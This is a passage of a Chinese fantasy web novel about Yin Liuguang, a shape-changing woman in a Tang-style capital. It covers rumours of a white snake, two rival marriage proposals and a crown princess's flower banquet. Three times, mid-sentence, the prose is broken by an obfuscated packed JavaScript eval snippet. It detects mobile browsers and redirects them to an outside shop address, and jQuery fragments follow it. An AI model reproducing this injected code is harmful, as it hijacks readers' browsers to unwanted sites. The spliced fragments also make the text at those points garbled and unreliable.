这件事最近京城闹得沸沸扬扬,她这两天忙着探查张贺的事,自然眼观六路耳听八方,晚上在京城里飞过屋檐的时候,听到不少关于这件事的流言。
毕竟太平久了,人们就都喜欢听些妖异邪祟之事,只是这次的事,似乎跟广平侯府有关。
她道:“听说是公主回公主宅的晚上,见到了一条黄金瞳的白蛇钻进侯府?”
觑着商遗思的脸色就知道这传言肯定是真的,她接着把自己听来的说了出来:“随后第二天,广平侯府附近也有人家说看到了一条水桶那么粗、三个人摞起来那么高的巨蛇!现在都说侯府有妖孽作祟,是被怨气吸引过去的。”
侯府似乎也出手禁止谣言在民间传播,但谣言在短短几天内就像是生了脚般,飞快地走遍了整个长安的大街小巷。
殷流光满脸都是八卦的神情,踮起脚凑近了些,商遗思的马打了个响鼻,吹起她的帷帽。
微风轻拂,商遗思垂下眼,便撞进一双顾盼生辉的眼眸里。
他晃神了一瞬,茶肆旁有人挑了担子卖花,深秋的木芙蓉灼灼盛放在她身后,他从前怎么没有注意到,今年长安的秋光这么浓烈喧闹。
他几乎没有听清殷流光的话。
“天子才获了瑞兽麒麟,紧接着就有妖蛇乱窜,这不是打脸吗?想必……大王定是奉了圣命要去抓蛇吧?”
殷流光见商遗思冷冷看着自己,但什么也没说,心里有点莫名其妙,小心翼翼地又叫了他一声,他像是猝然回神,道:“看来你这几日没闲着。”
方才那恼羞成怒的男子显然是被殷流光捏中了痛处,想必她这几日晚上也跟监视公主宅的那几晚一样忙得很,飞了不少地方。
一想到她做这些都是为了退婚好嫁给祁承筠,以谋取世子妃的高位,十分的心意里有十一分都是算计,商遗思心中便有几分不喜。
此女太过精明,当初因着她化形能力特殊,想要招拢,如今看来,若是招拢了她不知还要额外生出多少枝节,现在这样两不相干倒是正好,他道:“你问这些做什么?既然打定了主意要做你的世子妃,这些事就不该好奇。”
“我就是好奇,好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986108|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奇嘛。”殷流光讪讪道,最后追加一句:“不过大王若是想要抓到这条蛇复命,最好去查查琼池楼。”
商遗思动作微顿,眸光如刀,问她:“为何?”
“这些天所有自称看到过那条蛇的人,只要在长安城的地图上标出地点,很容易就能看出,中心点是琼池楼,而非在它隔壁坊的广平侯府。”
虽然殷流光记仇还爱骗人,但跟着观山行走江湖这么久,基本的道义她还是有的。
他方才出手相救,这条情报就当是报答他好了。
只是不成想襄王看样子并不领情,他偏过头直视长街前方,淡淡道:“本王知道了。此事尚无定论,除了本王以外,莫要告诉旁人。”
她点头应承,这件事牵扯到天子颜面,本就是很微妙的事情。
商遗思说完,便纵马离去。
“好歹说声谢谢呀,真是没礼貌。”殷流光咕哝着,转身瞧见卖花姑娘竹篮里的木芙蓉开得鲜艳,从荷包里掏出一吊钱给她:“这些我都买了,你数数钱够吗?”
卖花姑娘惊喜道:“够了够了,谢谢娘子!”
殷流光点头嘱咐道:“现在天已经快黑了,你快些回家吧,这些日子京城不安全,入夜后有邪祟出没,你这些日子卖花,不要在外面逗留到晚上。”
卖花姑娘被她的话吓得脸色煞白,连连点头,拎着空竹篓就赶紧离开了长街。
殷流光抱着花,慢悠悠走向家门。
今日解决了张贺这厮,很是顺利。
接下来只要等着祁承筠那边的消息了。
……
“四娘,你可是跟张贺说了什么话,他为何会无缘无故退亲?”
前厅里,殷流光低头绞着帕子,一脸无辜:“女儿什么也没说啊。”
没过几日,张贺就遵守承诺登门致歉,说自己要专心备考明年的进士考试,暂时无暇成家,也配不上殷家四娘,婉拒了这门亲事。
殷阆惊愕莫名,宋绯一门心思扑在殷守善身上,根本没心思搭理殷流光,倒是回家探亲的殷流灵知道了这消息,冷笑了几声。
“想是事后打听了四娘的身世,被吓跑了吧。”她道:“母亲是那样,焉知女儿不是?”
殷阆大怒:“流灵!你住嘴!你妹妹的阿娘也是你能拿来说嘴的?!”
殷流灵冷哼了声,不再说什么。
从头到尾,殷流光都安安静静站着,殷阆见她这么平静,心道这孩子乖巧,被退亲也没有哭闹,想是把委屈都咽了下去。
他和蔼了几分,道:“不嫁也好,你阿兄喝了你的药,最近气色有所好转,你留在家中,说不定再喂三四次药,他便好转了。若是他能清醒,四娘你就是他的救命恩人,到时候就算你一辈子不嫁,我也会让他这个做哥哥的养你一辈子!”
殷流光乖巧地点头,道:“都依阿耶的。”
……
同一时辰,襄王宅。
白衣人跪在地毯上,羞愧万分:“属下大意!”
他面前的商遗思穿着一身家常的竹青色襕衫,墨发半披,盘腿坐在靠窗的坐榻上,将面前的香炉盖掀开,这香炉精巧无比,上刻百兽,中置古字香篆,点燃香后,烟雾便从百兽口中眼中弥散,诡谲威严。
他慢慢地将香粉压实,道:“此女太过聪明,且又是祁承筠心悦之人。”
“不能用,便除。”说到“除”这个字,他的手顿了顿,想起今日长街相见,她身后灼灼盛放的木芙蓉,却仿佛不及她身上的流香袭人。
“大王想要我如何除?”
跪在地上的男人站起身,左眼的黄金瞳阴冷渗人。
17. 冰人提亲
广平侯府的仆人院里,祁承筠目露不忍,对着身旁的管家道:“好生葬了,给他家人多些银钱抚恤。”
管家廖伯应了,命人将院中井旁那具趴着井口而死的尸首挪下去。
死的人是广平侯府的前院护卫王七,据院子里的其他人说,昨晚睡到半夜,就听到王七在院子里大叫,说:“有蛇、白蛇!”
最近的流言闹得这么凶,大家都不敢出去,但跟王七同住一间屋子的匡豹忍不下去,壮着胆子大喝一声冲出门外,就瞧见王七趴在井口旁边,双眼圆睁表情惊恐,七窍流血,像是被活活吓死的。
但周围哪有蛇的踪影?
祁承筠眉头紧锁,抬头见众人皆表情惊恐,微微叹了口气。
王七不是这几日第一个见到白蛇而死的人了。
这个院子里住的都是府中护卫,武艺高强,帮广平侯做过不少脏活,是煞气最重胆子最大的人,可偏偏这段时间,接连有护卫被杀,死之前都惊叫看到了妖蛇。
一时间府内人心惶惶。
他捏了捏眉心,道:“这里就劳烦廖伯你看顾了,不要让任何人走漏风声,我去向阿爹禀报这件事。”
管家点头:“世子放心,老仆明白,一定看好这些人的舌头!”
祁承筠颔首,匆匆经过九曲走廊去到书房,对正在书房里练字的祁君疾道:“阿耶,又出事了。”
书案上,祁君疾笔下的“霸气浩江河,王风散荆棘”一句最后那一捺微微顿了顿,笔锋凌厉地划了出去,他将兔毫笔搁在琉璃笔床上:“叫廖平封锁消息了吗?”
“都吩咐了。”祁承筠迟疑道:“阿耶,上次你去宫里,陛下怎么说?陛下应该不会相信什么冤孽作祟的无稽之谈吧?”
提起这个,祁君疾神色有些不善。
白蛇出没,怨邪作祟……这谣言一出来的时候他并没有当回事,后来越演越凶,他暗地里派人专门去闹市茶楼散布消息,说是寿昌公主饮酒过多所以产生了幻觉,但收效甚微,最后有御史弹劾,说不会有空穴来风的传言,广平侯该查!
逼得他不得不进宫面圣谢罪。
在蓬莱殿的偏殿,正好太子和襄王正在奏事,天子也遣人把当时亲历者寿昌公主叫了来,问太子查得怎么样。
太子拱手道:“阿耶,儿前日去青雾山,伏月道长正在闭关,儿便请了夜神司副司主鉴水道长。”
“道长在侯府以及京城诸坊内都已经设法阵查过,并没有见到所谓白蛇,儿觉得这只是坊间百姓穿凿附会,不足为信,只要京兆府贴了告示,禁止再妄言妖异之事即可。”
“阿兄这是说我吗?”寿昌十分不满,先是狠狠瞪了一眼商遗思,若不是他那夜宁死不从,自己又怎么会需要去马车里拿酒助兴,反而遇到了蛇慌不择路地回了府,隔天遇到商遗思,他又是一脸若无其事的冷淡模样,真是气煞她也!
她向前几步,趋到天子身边,摇晃他的手臂:“阿耶,儿是真的看见那蛇钻进祁公的宅院里了,它还会变大,变得跟木头一样粗,眼睛还会发黄色的光!吓人得很!儿的侍卫亲眼看见了!”
天子对这个小女儿格外骄纵,被她拉着胳膊,温声安抚她:“阿耶知道你吓坏了,命人送去的那架猫儿戏蹴鞠的寒玉屏风,你可还喜欢?”
寿昌撒娇说当然喜欢了,天子拍了拍她的手,道:“太子和广平侯都说没有,寿昌却说有,襄王,你怎么看?”
商遗思不疾不徐,道:“这几日金吾卫与鉴水道长一同探查,整个京城并没有发现任何踪迹。”
“或许是公主看错了。”
“不可能!”寿昌公主再次强调:“如果只是幻觉,我怎么会看得这么清楚!”
她扭头对着天子鼓起脸:“阿耶,金吾卫在城里搜不到,一定是那条蛇藏到侯府了,夜神司不是只管方外兽的事吗?方外兽是人变的也不是妖啊,说不准是鉴水术法不精看漏了呢?您让襄王去侯府查查,一定能查出来!”
太子无奈又有些迟疑:“只是为了个莫须有的白蛇,妹妹是不是有些兴师动众了?”
被天子瞥了一眼,他立刻浑身一颤,不再说话了。
天子望向广平侯:“君疾,虽则夜神司说不是方外兽作祟,但妖邪之说却在民间越演越烈,你怎么想?”
广平侯张口欲答,忽然有内侍跑进来禀告,说禁苑里的麒麟这几日恹恹的,像是食欲不振,几个奉御看了,都说不上原因。
天子很是不悦,令尚药局太医令亲自去看。
内侍领命而去,电光火石间,广平侯骤然想通了其中关窍!
秋猎时天子所获麒麟,是他第一个发现,献给天子的,麒麟本就是传说中的神兽瑞兽,天子大悦,迎麒麟入禁苑,就是承认了有瑞兽存在。
如今妖蛇流言汹汹,他要是不承认有妖邪,那岂不是连带着他发现的麒麟也成了笑话?
他冷汗涔涔,慌忙跪下,迎着天子的目光道:“臣必定揪出妖蛇,亲自斩之!若是再找不到,再请襄王相助不迟。”
天子这下十分满意,商遗思也道:“祁公若有需要相助的地方,直说便是。”
他从宫中回来,就让人去阎浮鬼市买了几条手臂那么粗的白蛇,关在笼子里,预备等几天就拿出去说这就是那条妖蛇,以平息众议。
可他没想到的是,从那天开始,府中就开始死人了。
他本是不信什么妖邪的,可夜神司的鉴水道长来过,红口白牙,斩钉截铁地告诉自己,府中没有方外兽的气息。
难道……真的是妖孽?鉴水是玄都观观主,也是如今夜神司副司主伏月道长的大弟子,他说的话应该不会出错。
他脸色微变,鉴水笑眯眯道:“其实啊,民间传言倒也没错,凡是有妖孽出没的地方,大多数都有怨魂,譬如罔象好食死人心肝而寻陵墓,伯奇喜食恶梦而入人梦境之中,都是万物互为关联之理。”
“如今这妖蛇入侯爷后宅,蛇主凶淫,看来侯爷身上有些怨债啊……可要在下帮侯爷化解一二?”鼻梁右侧长着颗桃花痣的道士善解人意道。
“玄都观向来擅长替贵人解忧,而且夜神司的人,听命于太子,口风最是牢靠,侯爷是知道的。”
广平侯犹豫片刻,想起吕大娄的失踪,还有四年前那场他授意的火灾,青竹回来后脸色青白,失魂落魄,告诉他说,襄王的弟弟妹妹都被烧死了,襄王的妹妹商遗梦,尸体形状尤为惨不忍睹。
那白蛇……难道是她的冤魂作祟?
他急忙道:“道长,如何才能化解?”
鉴水像是早就知道他会这么问,从袖中掏了半天,掏出个符咒,又用随身带的朱砂笔唰唰写了个咒,递给他:”若侯爷知道怀怨作祟之鬼的生辰八字,便将其写在这符咒背面,随后正面朱砂所化的八字,只要找来对应的人,就可以将其带来侯府,利用此人吸收怨气,转移厉鬼目标。”
“当然了,替侯爷挡煞的此人到时候也会煞气爆体,魂飞魄散而亡,侯爷可以考虑考虑,要不要用,这就不是小道需要知道的事情了,不知道,自然也不会说出去。”
广平侯将信将疑,但当晚还是将商遗梦的八字写在了符纸后面,随后朱砂竟真的变形,化成了一个新的八字。
那八字在整个京城中对应的人并不多,其中最符合的,恰恰是那位……殷家四娘。
他沉吟片刻,从书案前抬头,望向祁承筠:“青竹,你当真心悦那女子,非她不娶?”
……
“四娘子,夫人说要你趁热把这红枣药粥喝了,等会道长就该来取血了。”阿妙将粥放在桌上,看向殷流光的目光带着些可怜。
自从殷流光被退亲后,在家里的地位更是一落千丈,知意有好几次听到杂役仆妇背地里嘲笑殷流光,说连主人的学生都不愿意娶她,以后就更要赖在殷家一辈子都嫁不出去了。
气得知意跟她们掐了起来,最后还是殷流光把她拉开的。
她训知意:“怎么脾气越来越冲了?”
知意犹然气得双颊通红,忿忿不平:“娘子!你都不知道他们说你什么!”
“他们说你是殷家的吸血虫!明明是大郎一直在喝你的血,怎么你反倒成了他们的!”
比这更难听的话殷流光也听说过,她心平气和:“知意,以后不要跟他们置气了,犯不着。”
“在他们眼中,嫁不了人是耻辱。可是在我看来,不能自由自在地活着,才是耻辱。”
“可娘子的心愿真的能达成吗……我听说,公卿侯门的家里,也有很多规矩……”知意不禁担忧地低声喃喃。
却没想到,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986109|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
娘子顾盼神飞,狡黠一笑:“谁说我要一辈子待在侯府里了?”
知意一愣,但殷流光淡定捧起碗,把药粥喝了个干净,跟着阿妙去了东堂。
还是熟悉的流程,取完血她捂着纱带,正要回去,却见一个小厮慌不择路地从前院跑来,上气不接下气地喊道:“夫人,主人请夫人和四娘子一起去前厅!”
宋绯正忙着哄殷守善喝药,闻言不悦,向堂外睇了一眼:“什么事?慌里慌张的?夫君若是要见四娘子,让她跟你去就行了。”
小厮吞吞吐吐,偷瞄殷流光好几眼,为难道:“夫人,这事必须要你跟四娘子一起去才行……”
“咣当”——宋绯重重搁下药碗:“到底是什么事?”
“是、是有冰人上门提亲了!”
站在一旁的殷流光神色一动。
裹着被子的殷守善狂舞手臂,痴言乱语:“快把四妹嫁出去、把四妹嫁出去,在地下结了冥婚,就不会再来吓我了!”
宋绯揉着额角,瞥了眼殷流光。
还以为凭她娘的名声,她这辈子熬到老也嫁不出去……
大盛官场上时兴互送歌姬,时常会有上官对自己看好的下属赠送侍妾,当年夫君刚刚中了进士授了官,他的上司便在一场宴会上把一个叫鸢娘的琵琶歌姬送给了他。
那就是殷流光的阿娘。
当时夫君本以为这是上峰看重自己,对鸢娘好得不得了,就差把她供起来。
后来才知道,她跟上峰家里的郎君私定终身,上峰是为了断绝儿子的念头,才找机会把鸢娘送给了殷阆。
从那以后,殷阆对鸢娘便骤然冷淡了。
只是碍于上峰的面子,没有彻底疏离冷落,直到上峰上朝时因为劝谏获罪,被流放岭南。
殷阆便彻底丢开了鸢娘,也对殷流光是不是他亲生的始终心里有根刺。
没过几个月,鸢娘就去世了,留下当时只有四岁的殷流光。
殷阆上峰留在京中的仆人大都去了别家官宦家里做活,有知道鸢娘跟郎君之事的,便嚼舌说了出去。
一时间,整个京城都知道了,殷流光的阿娘,是个不守规矩勾引主人的歌姬。
从那之后,尽管她性格柔顺,也出落得越来越姿容绝色,但众人看她的目光,多少带了些异样。
没想到,竟然还有人主动上门提亲。
只怕是个没有官职的人家,或许还是商人,因此才不在意娘子的身份是否高贵。
宋绯心中漫过许多前尘往事,其实她对殷流光没什么敌意,就当是养了条小猫小狗,她能嫁出去,自己作为她名义上的母亲,也算是为她做到了该做的。
想到这里,她起身,拢了拢衣襟:“既然有客来访,四娘,那你就跟我去一趟吧。”
“是,母亲。”
宋绯带着殷流光走到前厅,却不由怔住。
前厅的椅子上一左一右,竟坐了两个冰人?!
而且看她们的衣着,比她穿的还要光鲜不少,一看就是素日里给高门大户做媒的冰人。
她不由看向殷阆:“夫君,这是怎……”
话还没说完,冰人见了她身后的殷流光,两人都满脸笑地涌了上来,一左一右挤开她,握住殷流光的手。
“你就是殷家四娘子吧?瞧瞧,真是生的仙姿佚貌,云鬓花颜啊!”
殷流光也被两个冰人惊了一瞬,她迟疑道:“敢问两位夫人是……”
“瞧我!光顾着瞧娘子了,竟然把正经事给忘了!”
左边穿着桃红色衣衫的冰人微笑道:“我是替广平侯府来说媒的,世子温润如玉,端方知礼,正是良配,娘子意下如何?”
右边穿着翠色衣衫的冰人冷哼一声,对着殷流光笑道:“老身是替襄王来说媒的。襄王年轻有为,立下赫赫战功,是不世英雄,就连公主殿下也倾慕不已,若是错过了这么好的姻缘,岂不可惜!”
话音一落,宋绯的脸上就变得难看起来。一个世代簪缨,累族公卿,一个年少成名,位高权重……他们怎么会看上殷流光?她有什么值得被看上的?!
殷阆显然早已知道两人来意,此刻还没从震惊中缓过神来,双眼发直,重重坐在位置上。
殷流光傻眼了。
啊?商遗思要娶她?!!
18. 君子如玉
殷家四娘子被广平侯世子和襄王同时登门求亲的消息如同一道响雷,将整个京城都炸了个底朝天。
那日殷阆被这天降姻缘砸的头昏脑涨,冷静下来后谁也不敢得罪,把殷流光叫过去也是想问问她之前是不是跟这两位天潢贵胄有所交集。
殷流光将之前在殷流灵成亲当日见过祁承筠,被他解围的事说了下,但关于商遗思的事一句没提。
这位襄王也不知道在发什么疯……她左思右想,也想不明白他到底要什么?
默玄已经拿走了师父留下的上半卷天书,过了几日又还了回来,想来商遗思跟她一样,没发现什么有用信息。
可既然她身上已经没什么好压榨的了,从最开始商遗思能够知道她监视过公主宅开始,她就知道商遗思在这京城里已经有无数眼线,她的能力对他来说不是必不可少的,而且在琼池楼也说了,给他看这残卷后,就两不相欠。
那为什么又搞这么一出?
殷流光想不明白,索性不想,想着等找时机直接去问。
这几日家里对她的态度天翻地覆,殷阆甚至有些小心翼翼地讨好,这两个准女婿,不论殷流光选了谁,将来地位都尊贵无比,他在国子监仕途蹭蹬多年,这次若是女儿能加入高门,做女婿的只要提携丈人一二,他就能扬眉吐气,在官场上再进一步!
宋绯神色不善,说虽然世子和襄王都来提亲,但出嫁前她还是殷家的女儿,殷守善的妹妹,不能不管哥哥,还是要继续为他割血养伤。
从前顺从,是因为她不想蛰伏多年,在还没有能够从这个家全身而退之前轻易跟他们翻脸,落得被扣上奸生女的名头,被逐出家门的下场,如今时移世易,她怎么可能继续当殷守善的血包?
隔天,祁承筠递了帖子登门拜访。
殷家哪敢不放人进来?
他站在花架下,想说什么,最终只是抿了抿唇,道:“四娘,你是何时跟望尘认识的?”
他与望尘从前也算是好友,但自从商二郎死后,望尘便渐渐不与他往来了。
他没想到再次听到襄王的消息,竟然是他跟自己在同一天求娶殷家四娘。
“世子难道怀疑我吗?”殷流光站在门前,秋光映照在她裙摆上,斑驳出暖光,她垂下眼,神情落寞。
“当然不是!”祁承筠忙道:“我今天来见你,只是想问问你,四娘……还愿意嫁我吗?”
“最近我家的传闻……我想你也听到了,如果四娘改变了心意,想要选择别人……我也不会强求。”
阶下的青年长身如玉,萧萧如竹,只是站在那里,便让人觉得春风拂面,通身暖畅。
若是与他过一辈子,未来应当是可以望见的细水流长,处处妥帖,或许她可以试着喜欢上他,不再抱着欺骗他,利用他的念头。
殷流光轻声道:“怎么会?世子为了能够和我在一起,已经付出了许多,我只会选择世子。”
“而且,我也根本就不认识襄王。”
祁承筠的脸上浮现出喜悦的神情,他走近几步,望着站在阶上的殷流光,眸色闪动:“那,我可以牵牵你的手吗……四娘?”
殷流光微笑着,将手放在祁承筠的掌心,听见他珍重万分道:“执子之手,永不相负。”
一墙之隔的街上,商遗思将拜帖收回袖中,脸上没什么表情,打马离去,在长街上溅起一阵飞扬尘土。
祁承筠握着殷流光的手,眉目殷殷,虽然家里这几日阴云笼罩,接连出事,可阿耶终于松口许他跟四娘的婚事,总是值得开心的。
纳彩、问名……成亲前的流程还有很多,不急于一时,等他把家里的事处理好,再挑个春暖晴好的日子,迎她进门。
他的目光落在殷流光胳膊崭新的纱带上,就知道殷家又逼迫她给殷守善割血了。
他脸上顿时一沉:“虽然在背后议论尊长不对,但伯父伯母对你的所作所为,连禽兽也不如!”
等到祁承筠离开时,殷阆忙忙地送他到门口,还问起广平侯一向可安好,跟他拉起了家常,祁承筠蹬着马鞍上马,冷冷道:“家父一切安好,只是伯父,四娘是我心悦之人,无论她是不是选择我都不会改变这点,若是再让我知道,她浑身上下有哪里擦破了点皮,或是受了伤……到时候,我可就不安好了,我若不安好,伯父在国子监,如何能安好?”
殷阆额角冷汗淋漓,知道祁承筠是在点他们让殷流光割血一事,忙不迭道:“世子放心,往后四娘必定不会再受半点委屈。”
“如此最好不过。”祁承筠点头,纵马而去。
……
殷阆回去后就告诉宋绯,往后不准再让殷流光给殷守善割血。
宋绯闻言脸色大变,问道:“那善儿怎么办?他这几天好不容易能多说几句话,你要眼睁睁看着他这么痴傻一辈子吗!”
“不是还有大娘吗!”殷阆不耐烦道:“需要血引的时候,就叫她回家来!四娘如今被世子还有襄王同时看重,他们是什么人家?世代簪缨,百年高门!能跟他们结亲,咱们殷家就再也不是普通人家,我多年不晋升的仕途也有望了……四娘出嫁前,决不能有任何闪失!”
宋绯红了眼角,虽然舍不得亲女儿受苦,胳膊上留那么狰狞的刀疤,可谁叫殷流光有手段,接连被两个豪族看上了?
她恨恨咬牙:“我这就给流灵说。”
过了几日,殷流灵回了家。
看见殷流光,她神情有几分厌恶,又带着隐隐的……不甘。
被割血时,她疼得痛呼出声,捂着纱带,血却怎么也止不住。
旁边一只素手递来一瓶膏药:“长姐,你先坐下,我给你涂点药。”
她抬头,看见是殷流光,她手里拿着个小瓷瓶,瓷釉温润生光,不像是寻常瓷窑,倒像是官窑……肯定是广平侯世子赠她的!
殷流光见殷流灵不说话,便伸手扶着她坐在一旁,倒出药洒在纱带上,重新帮她包扎,扭头唤道:“知意,来帮我缠一下。”
知意走了过来,帮殷流灵解她胳膊上原本的纱带,手指碰到她胳膊,殷流灵猛然一缩,打开她的手,尖声道:“你干什么!”
“要不是你,我怎么会被割血受伤!你少在这里假惺惺关心我!”
殷流光没有停下动作,而是不顾她的反抗,继续帮她包扎,声音平静:“长
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986110|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姐,如果你不想日后留疤,就让我给你好好上药。”
“而且你受伤怎么会是因为我,我们俩都是为了阿兄啊。”她微笑道。
那药差点让她痛晕过去,像是真有奇效,敷上后很快,她的胳膊就没那么钻心的疼了,她神色不豫:“你为什么帮我?从小到大,我一直都不喜欢你。”
其实原因很简单,殷流光记仇,她恨这个家,也恨殷流灵,殷流灵从小就故意忽视她,从别人那里知道了她身世的传言,就越发厌恶她,言语动不动带刺。
但她也记得很小的时候,阿娘刚刚去世,家里没有摆灵堂,阿娘的牌位也不准入祠堂,她一个人穿着丧服,孤孤单单地抱着阿娘的牌位,放在她最爱的琵琶旁,跪了很久很久,三天水米未进。
半夜被人拍醒,是殷流灵身边的小婢女,来给她送了盘冷糕点,说大娘说了,你要是饿死了,家里就太晦气了。
那糕点应该是她吃剩下的,又冷又硬,可是却给了殷流光生活下去的信念。
因为只有好好活着,才能去吃又热又软的糕点,才能不被恨的人怜悯。
她心平气和:“没有什么理由,你就当是我用这瓶药,还你一份当初的施舍吧。”
殷流灵莫名其妙,见她转身欲走,神色复杂地喊住她:“我这里有一份太子妃的花宴请帖,是专门给你的。”
她掩盖不住话音理的嫉妒和不甘:“你如今可是长安城里人人都想一睹真容的女子了。”
殷流光接过那份带着隐约花香的描金请帖:“长姐也会去吗?”
“太子妃……并没有邀请我。”殷流灵几乎咬碎了牙,才蹦出这句话。她夫君是东宫属臣,地位低下,太子妃这次赏花宴,邀的都是朝堂上有头有脸的官宦家眷,各地都督、刺史、还有六部五寺的高官,她没有资格拿到那张帖子。
殷流光能受邀,是因为不论她选择哪一个,将来不是世子妃,就是襄王妃,身份尊贵,自然能去。
但对殷流光来说,这风头可不是什么好东西,树大招风,但借机认认权贵,多个朋友多条路,倒是不错。
祁承筠知道太子妃给殷流光递了帖子参加花宴,隔日就令长随送来了一整套的衣裳首饰,蜻蜓纹浅碧罗衫,郁金色团花襦裙,还有一整套的芙蓉冠,翠羽簪。
知意将衣服小心摊开,手持铜香炉细细熏香,忍不住地替殷流光开心:“世子真是细心妥帖,处处都为娘子想好了!”
这衣裳以碧色为主,尤其是那青色软纱罗团成芙蓉的样子做的冠,朦胧柔美,放在案上犹如一团远山烟岚。
这大约就是祁承筠心中殷流光的样子,碧玉妆成,芙蓉羞面,她以手支颐淡淡瞧着,蓦然有些烦闷地想起襄王。
他究竟为何要给自己提亲?
那日长街上,他提醒自己,若是为了图谋安稳人生,成为广平侯世子妃并不是个好选择。
他在暗示什么?
眼前像是隐约有一张大网,有了化兽能力后,她动物般对于危险的直觉也更敏锐。
她眺望远处,流云飘日,枫叶欲燃,可在长安城重重楼阙的最深处,似是有什么风雨正在悄悄凝结。
19. 曲江花宴
那日殷流光跟两家请来的冰人都说了,过些日子再答复,虽然给了祁承筠准话,但她其实也一直在等商遗思来寻她。
只是一直没等到,祁家的冰人又催了三四次,正逢花宴的日子也到了,出门赴宴前,殷阆试探着问起殷流光想要选谁,殷流光站在门口,回眸看向阿耶:“我想选世子。”
殷阆松了口气:“世子便好,世子便好。”
那天祁承筠的警告惊起他一身冷汗,他这才意识到,若是这二人知道了殷流光从小在殷家受过的委屈,别说他的仕途了,连安稳日子指不定都不会有,若是殷流光招惹来襄王,他一怒之下,自己的命都说不准会葬于虎口。
殷流光见他丝毫没有问自己心中中意谁,而是满心里为自己打算,平静道:“既然阿耶没别的事了,我就去赴宴了。”
“快去吧,去吧,太子妃的宴会,可不能耽搁!”殷阆忙道。
……
太子妃的花宴设在曲江畔,如今秋景正浓,菊花开得极好,花卉环周,烟水明媚。
因着是太子妃设宴,曲江畔的春和亭周围百丈都围上了锦幄,一盆盆被精心侍养的菊花在漠漠轻阴下舒卷绽放,许多粉光脂艳,头戴金步摇、孔雀冠的贵女夫人们从容游览其中。
香风阵阵,笑语如软绸。
但在殷流光出现的一瞬间,所有人的目光都不约而同地落在了她的身上。
好奇、不屑、敌视……混杂着种种情绪的目光扑面砸来。
她恍若无睹,带着知意走了进去。
早就有人禀告太子妃,身后跟着四名侍女,戴着花树钗,穿着宝相花绫锦裙的太子妃走了过来,温和笑道:“你就是殷四娘子吧?”
“殷家四娘见过太子妃殿下。”她规规矩矩行了一礼,礼仪无可挑剔,旁边一众等着看笑话的女子都露出失望的神色。
太子妃微笑端详:“确实是个冰清神秀,礼数周全的小娘子,往日里我竟然没见过,不过今日见了就觉得亲切,好像妹妹一样,以后你可要多多来东宫陪伴我,可好?”
殷流光也没想到太子妃这么盛情,点点头应了。
太子妃道她第一次来花宴,许多夫人娘子都没见过,指了身边的侍女带着她去与各位夫人问好,并说今日寿昌也来了,但现下也不知跑到哪里去玩了,等她回来再介绍她们认识。
殷流光含笑应了,跟着侍女一路行在花间,许多人见了她表面客气,眼神里却藏不住地尖刻打量,殷流光走出去老远,还能听到窃窃私语的议论声。
“一个七品官的女儿,听说她亲娘还是被从前的右相独孤公赠出去的歌姬……瞧着也没有多倾国倾城,怎么就接连迷倒了广平侯世子跟襄王?”
“世子也就罢了,那位襄王可不是好惹的,不说别的,就说他那兽苑,听说里面养着的都是老虎豹子!谁进去能不害怕?满京城也就只有寿昌公主生了虎胆敢喜欢襄王。”
“可惜了襄王那副好相貌……不过啊,我之前给我家女儿相看人家的时候,偷偷请青雾山的道士看过襄王的八字。”
“道长说啊,这八字,活不久!”
殷流光竖着耳朵,表面上谈笑风生,暗地里把这些八卦都听了个一字不落,心道原来商遗思也和她一样,在长安贵族的圈子里是被嫌弃的存在。
只不过这活不久……她想了下商遗思的五官,眉长而狭,双眸若寒潭落星,凌厉俊秀的骨相,怎么看都是能活到美人迟暮的岁数的。
她漫不经心地想着,又跟一个贵女模样的人点头打招呼,那贵女咬了咬唇,掩扇凑过来问道:“殷家娘子……广平侯世子与襄王,你打算选谁?”
“这个嘛……”她停顿了一下,笑眯眯道:“你觉得我应该选谁?”
“自然是世子了。”贵女斩钉截铁:“襄王虽然英勇无双,但我家也在崇仁坊,他家里的兽苑每天都要运进去许多生肉,特别可怕,襄王每天跟猛兽为伴,不苟言笑,阴沉沉的,哪有世子芝兰玉树,让人春风拂面。”
“我倒是对他的兽苑挺感兴趣的。”贵女怔了一下,只见面前的女子眼睛里眨着精光:“你想啊,一张虎皮如今西市上价值几何?一张皮毛光滑,保养得宜的上好雪豹皮又是多少?”
贵女瞪大了眼,不可置信地望着她,茫然道:“你居然想剥襄王养的老虎的皮?你是不是疯了?”
仿佛被胆大包天的殷流光吓傻了,她喃喃走远,远处的几个贵女围住她,几个人窃窃私语,不时地震惊抬眼望她一眼。
好吧,她只是开个玩笑,没想到就成了太岁头上敢动土,老虎座前敢拔须的疯子了。
她摇头叹息,忽然余光轻动,转身瞧见远处花丛间,闪过一个翠羽琳琅的身影。
